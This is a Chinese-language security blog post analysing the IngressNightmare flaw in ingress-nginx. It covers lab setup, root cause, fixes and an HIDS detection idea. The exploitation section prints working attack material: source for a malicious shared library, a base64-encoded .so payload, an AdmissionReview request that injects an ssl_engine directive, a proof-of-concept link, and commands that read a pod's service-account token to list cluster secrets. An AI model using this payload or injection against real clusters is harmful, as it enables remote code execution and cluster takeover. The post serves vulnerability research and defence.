你的k8s集群又被拿下了?IngressNightmare - 云安全

admin 2025年3月31日23:08:06评论11 views字数 13422阅读44分44秒阅读模式

一、前言

最近 Kubernetes 中发现一个安全问题IngressNightmare,在某些情况下,拥有 pod 网络访问权限的未经认证攻击者可在 ingress-nginx 控制器的环境中实现任意代码执行,进而可接管集群权限。

可以看出此漏洞危害是比较大的,于是对此漏洞进行深入分析,并且研究此漏洞的检测、修复以及利用手法监控的方案。

注:云越来越普遍了,涉及到云上攻防的内容也越来越多,k8s的漏洞也越来越多了

21年挖的对象存储漏洞到现在结束了吗?- 云安全:https://mp.weixin.qq.com/s/4cnBa6ysXvEG4ZOM0XkBxA

k8s被黑真能溯源到攻击者吗?:https://mp.weixin.qq.com/s/-VLvp53vqhkVEbSkH2jCqg

二、环境搭建

部署ingress-nginx,选择了v1.11.3版本(v1.12.1 and v1.11.5是安全版本)

kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.3/deploy/static/provider/
baremetal/deploy.yaml 

将ingress的ingress_url 和 admission_webhook_url通过port-forward暴露出来,模拟我们进入了容器内部或者模拟ingress_url 和 admission_webhook_url非预期对外。

kubectl port-forward --address 0.0.0.0 --namespace=ingress-nginx service/ingress-nginx-controller 8080:80
kubectl port-forward --address 0.0.0.0 -n ingress-nginx ingress-nginx-controller-6fb7885497-4s8qb  8888:8443


# 查看日志
kubectl logs -l app.kubernetes.io/component=controller  -n ingress-nginx -f

三、漏洞分析

3.1、Ingress是什么?

使用一种能感知协议配置的机制来解析 URI、主机名称、路径等 Web 概念, 让你的 HTTP(或 HTTPS)网络服务可被访问。 Ingress 概念允许你通过 Kubernetes API 定义的规则将流量映射到不同后端。

3.2、IngressNightmare漏洞原理

漏洞的核心问题是:Ingress NGINX 的admission controllers 没做任何权限校验即对攻击者输入的内容通过nginx -t 命令方式校验nginx配置(admission webhook 一般也不用做权限校验,毕竟只是做配置文件校验),主要的问题是nginx 配置注入。

具体流程如下:

1、滥用 NGINX 的 client-body 缓冲区功能,将我们的so文件上传到 Pod

2、向 Ingress NGINX 控制器的准入控制器发送 AdmissionReview 请求,其中包含我们的任意一个指令注入(我们注入的指令是 ssl_engine 指令,它会导致 NGINX 将指定的文件作为共享库加载),并且我们fuzz遍历到我们的有效负载的文件描述符的 ProcFS 路径

4、RCE成功

四、漏洞实践

4.1、将我们的so文件上传到 Pod

在处理请求时,NGINX 有时会将请求体保存到临时文件中( 客户端体缓冲 )。如果 HTTP 请求正文大小大于特定阈值( 默认为 8KB),则会发生这种情况。这意味着理论上我们应该能够发送一个大型 (>8KB) HTTP 请求,其中包含共享库形式的有效负载作为请求的正文,NGINX 会将其临时保存到 Pod 文件系统上的文件中。

你的k8s集群又被拿下了?IngressNightmare - 云安全

这里我们遇到的第一个问题,我们的so文件是3cf0,也就15600个字节。

你的k8s集群又被拿下了?IngressNightmare - 云安全
# 通过模拟上传到nginx的临时文件
cp ../pwn.so ./
python3 exploit.py http://127.0.0.1:8080 https://127.0.0.1:8888
你的k8s集群又被拿下了?IngressNightmare - 云安全
你的k8s集群又被拿下了?IngressNightmare - 云安全

我们从fd里面找到的文件大小已经改变了,并且文件损坏了,无法正常使用。

如果我们想尽办法缩小文件呢? 从网上找到如下办法进行缩小文件

cat << EOF > pwn.c
#include <stdlib.h>
__attribute__((constructor)) staticvoidtest(void) {
    // 闭环循环卡死
    unsetenv("LD_PRELOAD");
    system("sh -c 'touch /tmp/lufei_okk'");
}
EOF


                                                                                                                                             
gcc pwn.c -S -o pwn.S
as --64 -o pwn.o pwn.S                                                                                                                                       
ld -shared -nostdlib -z noseparate-code -z max-page-size=0x1000 -o pwn.so pwn.o                                                                                          
strip --strip-all pwn.so 

注意:unsetenv("LD_PRELOAD")这里避免循环卡死。

你的k8s集群又被拿下了?IngressNightmare - 云安全

实际上只有14c0大小也就是5312字节(因为编译出来后面的都是00无用字节),如果我们进行增加或者切割文件呢?是否还会有用,按照理论来说,elf文件是根据文件头以及各种导出导入等等之类的表规划了文件的offset,对文件的最后面增加删除不影响的,我们再实际测试一下。

echo -en "x00x00x00x00" >> pwn.so
LD_PRELOAD=./pwn.so whoami
ls /tmp/lufei_okk
你的k8s集群又被拿下了?IngressNightmare - 云安全

还是可以正常运行。

为什么这里我要测试增加或者删除字节呢?如果 HTTP 请求正文大小大于特定阈值( 默认为 8KB),它就不进行临时保存,所以我们还需要对文件进行增肥。

echo 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAANAQAAAAAAAAAAAAAEAAOAAHAEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAMAAAAAAACgAwAAAAAAAAAQAAAAAAAAAQAAAAYAAACgD
gAAAAAAAKAeAAAAAAAAoB4AAAAAAABwAQAAAAAAAHABAAAAAAAAABAAAAAAAAACAAAABgAAAKgOAAAAAAAAqB4AAAAAAACoHgAAAAAAAEABAAAAAAAAQAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAcAMAAAAAAABwAwAAAAAAAHADAA
AAAAAAMAAAAAAAAAAwAAAAAAAAAAgAAAAAAAAAU+V0ZAQAAABwAwAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAADAAAAAAAAAACAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAQAAAAAAAAAFLldGQEAAAAoA4AAAAAAACgHgAAAAAAAKAeAAAAAAAAYAEAAAAAAABgAQAAAAAAAAEAAAAAAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAEAAA
AAAAAAAAAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAdW5zZXRlbnYAc3lzdGVtAAAAAAAAAACgHgAAAAAAAAgAAAAAAAAAwAIAAAAAAAAAIAAAAAAAAAcAAAABAAAAAAAAAAAAAAAIIAAAAAAAAAcAAAACAAAAA
AAAAAAAAAD/NVodAAD/JVwdAAAPH0AA/yVaHQAAaAAAAADp4P////8lUh0AAGgBAAAA6dD///9VSInlSI0FGgAAAEiJx+jN////SI0FFgAAAEiJx+jO////kF3DTERfUFJFTE9BRABzaCAtYyAndG91Y2ggL3RtcC9sdWZlaV9va2
snAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAABwAAAAcAAAAkP///yUAAAAAQQ4QhgJDDQZgDAcIAAAAIAAAADwAAABA////MAAAAAAOEEYOGEoPC3cIgAA/GjsqMyQiAAAAAAQAAAAgAAAABQAAAEdOVQABAAHABAAAAAEAAAA
AAAAAAgABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAIAAAAAAAAZAAAAAAAAAKAeA
AAAAAAAGwAAAAAAAAAIAAAAAAAAAPX+/28AAAAAyAEAAAAAAAAFAAAAAAAAADACAAAAAAAABgAAAAAAAADoAQAAAAAAAAoAAAAAAAAAEQAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAADoHwAAAAAAAAIAAAAAAAAAMAAAAA
AAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAABgAgAAAAAAAAcAAAAAAAAASAIAAAAAAAAIAAAAAAAAABgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAPn//28AAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKgeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKYCAAAAAAAAtgIAAAAAAABHQ0M6IChBbHBpbmUgMTMuMi4xX2dpdDIwMjQwMzA5KSAxMy4yLjEg
MjAyNDAzMDkAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5yZWxhLmR5bgAucmVsYS5wbHQALnRleHQALnJvZGF0YQAuZWhfZnJhbWUALm5vdGUuZ251LnByb3BlcnR5AC5pbml0X2FycmF5AC5keW5hbWljA
C5nb3QucGx0AC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAPb//28CAAAAAAAAAMgBAAAAAAAAyAEAAAAAAAAcAAAAAAAAAAIAAA
AAAAAACAAAAAAAAAAAAAAAAAAAABUAAAALAAAAAgAAAAAAAADoAQAAAAAAAOgBAAAAAAAASAAAAAAAAAADAAAAAQAAAAgAAAAAAAAAGAAAAAAAAAAdAAAAAwAAAAIAAAAAAAAAMAIAAAAAAAAwAgAAAAAAABEAAAAAAAAAAAAAAAA
AAAABAAAAAAAAAAAAAAAAAAAAJQAAAAQAAAACAAAAAAAAAEgCAAAAAAAASAIAAAAAAAAYAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAYAAAAAAAAAC8AAAAEAAAAQgAAAAAAAABgAgAAAAAAAGACAAAAAAAAMAAAAAAAAAACAAAADQAA
AAgAAAAAAAAAGAAAAAAAAAA0AAAAAQAAAAYAAAAAAAAAkAIAAAAAAACQAgAAAAAAADAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAOQAAAAEAAAAGAAAAAAAAAMACAAAAAAAAwAIAAAAAAAAlAAAAAAAAAAAAAAAAAAAAA
QAAAAAAAAAAAAAAAAAAAD8AAAABAAAAAgAAAAAAAADlAgAAAAAAAOUCAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABHAAAAAQAAAAIAAAAAAAAAEAMAAAAAAAAQAwAAAAAAAFwAAAAAAAAAAAAAAAAAAAAIAA
AAAAAAAAAAAAAAAAAAUQAAAAcAAAACAAAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAOAAAAAwAAAAAAAACgHgAAAAAAAKAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAA
AAAAACAAAAAAAAABwAAAABgAAAAMAAAAAAAAAqB4AAAAAAACoDgAAAAAAAEABAAAAAAAAAwAAAAAAAAAIAAAAAAAAABAAAAAAAAAAeQAAAAEAAAADAAAAAAAAAOgfAAAAAAAA6A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAA
AAAIAAAAAAAAAIIAAAABAAAAMAAAAAAAAAAAAAAAAAAAABAQAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABBEAAAAAAAAIsAAAAAAAAAAAAAAAAAAAABAAAAAAAAA
AAAAAAAAAAA' | base64 -d > pwn.so

我们继续增加字节8192,让nginx保存临时文件(最后nginx会切割前面9k多个字节),我们真正的so文件大小在这个之内就好了。

echo -n | tr '�' '�' | head -c 8192 >> pwn.so

这里将Content-Length设定为比真实长度增加一些大小就可以卡住连接等待,让临时文件保留一段时间(连接断了就自动删除了)。

so = base64.b64decode(pwn_base64) + b"�0" * 8092


real_length = len(so)
fake_length = real_length + 10


headers = (
    f"POST {path} HTTP/1.1rn"
    f"Host: {host}rn"
    f"User-Agent: lufeisecrn"
    f"Content-Type: application/octet-streamrn"
    f"Content-Length: {fake_length}rn"
    f"Connection: keep-alivern"
    f"rn"
).encode("iso-8859-1")

4.2、注入ssl_engine加载so文件 & fuzz

向 Ingress NGINX 控制器的准入控制器发送 AdmissionReview 请求,其中包含我们的任意一个指令注入(我们注入的指令是 ssl_engine 指令,它会导致 NGINX 将指定的文件作为共享库加载),并且我们fuzz遍历到我们的有效负载的文件描述符的 ProcFS 路径

这里经过笔者的测试,发现nginx.ingress.kubernetes.io/auth-url字段比较好用,可以使用这个字段进行利用。

POST / HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8888
Content-Length: 2304


{
   "kind""AdmissionReview",
   "apiVersion""admission.k8s.io/v1",
   "request": {
      "uid""3babc164-2b11-4c9c-976a-52f477c63e35",
      "kind": {
         "group""networking.k8s.io",
         "version""v1",
         "kind""Ingress"
      },
      "resource": {
         "group""networking.k8s.io",
         "version""v1",
         "resource""ingresses"
      },
      "requestKind": {
         "group""networking.k8s.io",
         "version""v1",
         "kind""Ingress"
      },
      "requestResource": {
         "group""networking.k8s.io",
         "version""v1",
         "resource""ingresses"
      },
      "name""minimal-ingress",
      "namespace""default",
      "operation""CREATE",
      "userInfo": {
         "uid""1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
      },
      "object": {
         "kind""Ingress",
         "apiVersion""networking.k8s.io/v1",
         "metadata": {
            "name""minimal-ingress",
            "namespace""default",
            "creationTimestamp"null,
            "annotations": {
               "nginx.ingress.kubernetes.io/auth-url""http://example.com/#;}}}nnssl_engine ../../../../../../../proc/170/fd/10nn"
            }
         },
         "spec": {
            "ingressClassName""nginx",
            "rules": [
               {
                  "host""test.example.com",
                  "http": {
                     "paths": [
                        {
                           "path""/",
                           "pathType""Prefix",
                           "backend": {
                              "service": {
                                 "name""kubernetes",
                                 "port": {
                                    "number"443
                                 }
                              }
                           }
                        }
                     ]
                  }
               }
            ]
         },
         "status": {
            "loadBalancer": {}
         }
      },
      "oldObject"null,
      "dryRun"true,
      "options": {
         "kind""CreateOptions",
         "apiVersion""meta.k8s.io/v1"
      }
   }
}

可以修改proc/170/fd/10进行遍历,即可RCE成功

nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}nnssl_engine ../../../../../../../proc/170/fd/10nn

4.3、给出一键PoC

ingress的进程默认启动pid是在30-50范围之内

ingress的进程默认启动pid是在160-180范围之内

PoC地址(可以自己修改pid以及fd范围):

https://github.com/lufeirider/IngressNightmare-PoC/blob/main/IngressNightmare.py

当然也可以窃取ingress-nginx的pod token,权限很高,可以接管整个集群。

TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
curl -ks -H "Authorization: Bearer $TOKEN" https://10.96.0.1:443/api/v1/secrets | head

 

你的k8s集群又被拿下了?IngressNightmare - 云安全

 

4.4、官方修复

经过Wiz的持续绕过(如auth-url、auth-tls-match-cn、mirror UID参数),ingress-nginx最终放弃治疗(一开始通过引号包裹修复),不再使用nginx -t进行验证配置。

https://github.com/kubernetes/ingress-nginx/pull/13069/commits/7df448b20556ff5de91d794ceba35415b5e55a5e

你的k8s集群又被拿下了?IngressNightmare - 云安全

4.4、修复实验

经过测试v1.11.5版本,将nginx配置的value乱写(而非key),确实没有使用nginx -t进行检测

你的k8s集群又被拿下了?IngressNightmare - 云安全

v1.11.5版本结果如下

你的k8s集群又被拿下了?IngressNightmare - 云安全

五、风险发现 & 检测

5.1、风险发现

风险发现还是比较简单,检测ingress-nginx容器镜像低于v1.12.1 and v1.11.5的版本就直接识别为风险

你的k8s集群又被拿下了?IngressNightmare - 云安全

5.2、业务的修复

1、编辑 ingress-nginx-controller Deployment 或 Daemonset,从控制器容器的参数列表中删除 --validating-webhook

2、升级到最新版本(v1.12.1 and v1.11.5)

5.3、检测

我们再从进程的层面观察,发现如下进程加载了so(由于是so加载,可能不会造成进程派生,会有网络请求),所以我们可以写一个hids规则监控下面进程派生以及网络请求即可。

/usr/bin/nginx -c /tmp/nginx/nginx-cfg1191786723 -t

六、总结

文章介绍了IngressNightmare的漏洞原理以及复现的坑,最终从甲方落地的视角整理了风险发现、修复、检测的方案。

原文始发于微信公众号(lufeisec):你的k8s集群又被拿下了?IngressNightmare - 云安全

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日23:08:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   你的k8s集群又被拿下了?IngressNightmare - 云安全https://cn-sec.com/archives/3901082.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息